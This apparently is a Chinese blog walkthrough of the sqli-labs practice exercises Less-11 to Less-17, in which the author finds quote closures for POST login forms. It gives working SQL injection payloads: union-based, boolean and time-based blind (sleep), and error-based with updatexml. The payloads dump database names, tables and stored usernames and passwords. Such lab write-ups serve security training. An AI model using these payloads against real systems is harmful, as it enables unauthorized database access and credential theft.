Less-11:
首先,进去页面之后发现是这样的
随便输入了一个之后发现报错
可以看出来这是用post方法传递的,我试了几次之后发现由单引号闭合,于是用命令admin' or 1=1#
,页面变化
可以看出来有两个显示位,用1=2令页面错误,使用admin' or 1=2 order by 2#
排序页面正常,admin' or 1=2 order by 3#
页面返回错误,所以有两个字段。接下来就可以愉快的用union select 联合查询了,sqli-labs解题大法1~10——Less1中有详细步骤,在这里就简单说一下吧。
(1).用select grouop_concat(schema_name) from information_schema.schemata
可以查询所有数据库名。
(2).用select database()
查询出当前数据库名。
(3).用select group_concat(table_name) from information_schema.tables where table_schema='db_name'
可以查询出所有数据表名。
(4).用select group_concat(column_name) from information_schema.columns where table_name='table_name' table_schema='db_name'
可以查询出字段名。
(5).用
select group_concat(username) from db_name.table_name`,
select group_concat(password) from db_name.table_name
,可以查询出所有用户名和密码了。
Less-12:
这个猜了好多次,最后发现是 ")
闭合的,接下来用联合查询,具体过程参考Less-11。
ad") or 1=2 union select (select database()),1#
Less-13:
单引号加括号闭合')
,没有显示位,没有报错信息,可以使用布尔盲注或者延时注入。
ad') or 1=1 and mid((select database()),1,1)='s'#
ad') or 1=1 and if(substr(database(),1,1)='s',1,sleep(5))#
Less-14:
双引号闭合"
,没有显示位和报错信息,用布尔或者延时注入。
ad" or 1=1 and mid((select database()),1,1)='s'#
Less-15:
单引号闭合'
,没有显示位和报错信息,用布尔或者延时注入。
ad' or 1=1 and mid((select database()),1,1)='s'#
Less-16:
双引号加括号闭合")
,没有显示位和报错信息,用布尔或者延时注入。
ad") or 1=1 and mid((select database()),1,1)='s'#
Less-17:
这关进去之后发现上面有[PASSWORD RESET] ,向着用户名里注入之后就发现了这个打脸的报错信息:
滚开你这个愚蠢的黑客!!
后来不管在username里面输入什么都是这条信息,最后没办法还是去看源码。
在这里我们可以看到,源码中对于value进行了过滤:
(1).如果值为空,就截取它的15个字符;
(2).若php环境变量magic_quotes_gpc打开,去除转义的反斜杠\;
(3).若value变量不是数字,将其中特殊字符转义;为数字则将其转为数字类型。
这些函数具体会再补一篇blog出来,大家先在这里简单了解一下。
通过这三次过滤,在username里面我已经不知道怎么进行注入了,所以咱们来看password,发现password并没有这些乱七八糟的过滤,这样一来,我们必须要先输入正确的用户名,然后再从password里面进行注入。
使用updatexml函数。
(·)。updatexml()
函数是MySQL对xml文档数据进行查询和修改的xpath函数
(·)。updatexml(xml_target,xpath_expr,new_xml)
(·)。xml_target
:原来的xml,也就是要替换的目标;
(·)。xpath_expr
:xpath的表达式;
(·)。new_xml
:替换后的xml;
(·)。这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
在注入时,' or updatexml(1,concat('#',(Clause)),1)#
这时,Clause就是我们需要用到的子句了。
首先,我们来查找数据库名:a' or updatexml(1,concat('#',(select database())),1)#
查询表名:a' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
查询字段名:a' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#
错误: 查询数据时,并不能直接用简单的select concat(username)
,这样会引起报错,
错误原因: 在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询。
查询数据:
a' or updatexml(1,concat('#',(select * from (select concat_ws
(' ',id,username,password) from users limit 0,1) a)),1)#
//concat_ws()函数与concat()函数类似,只不过在每个数据间多了分隔符。
之后,通过不断修改limit的值就可以查询出所有数据了。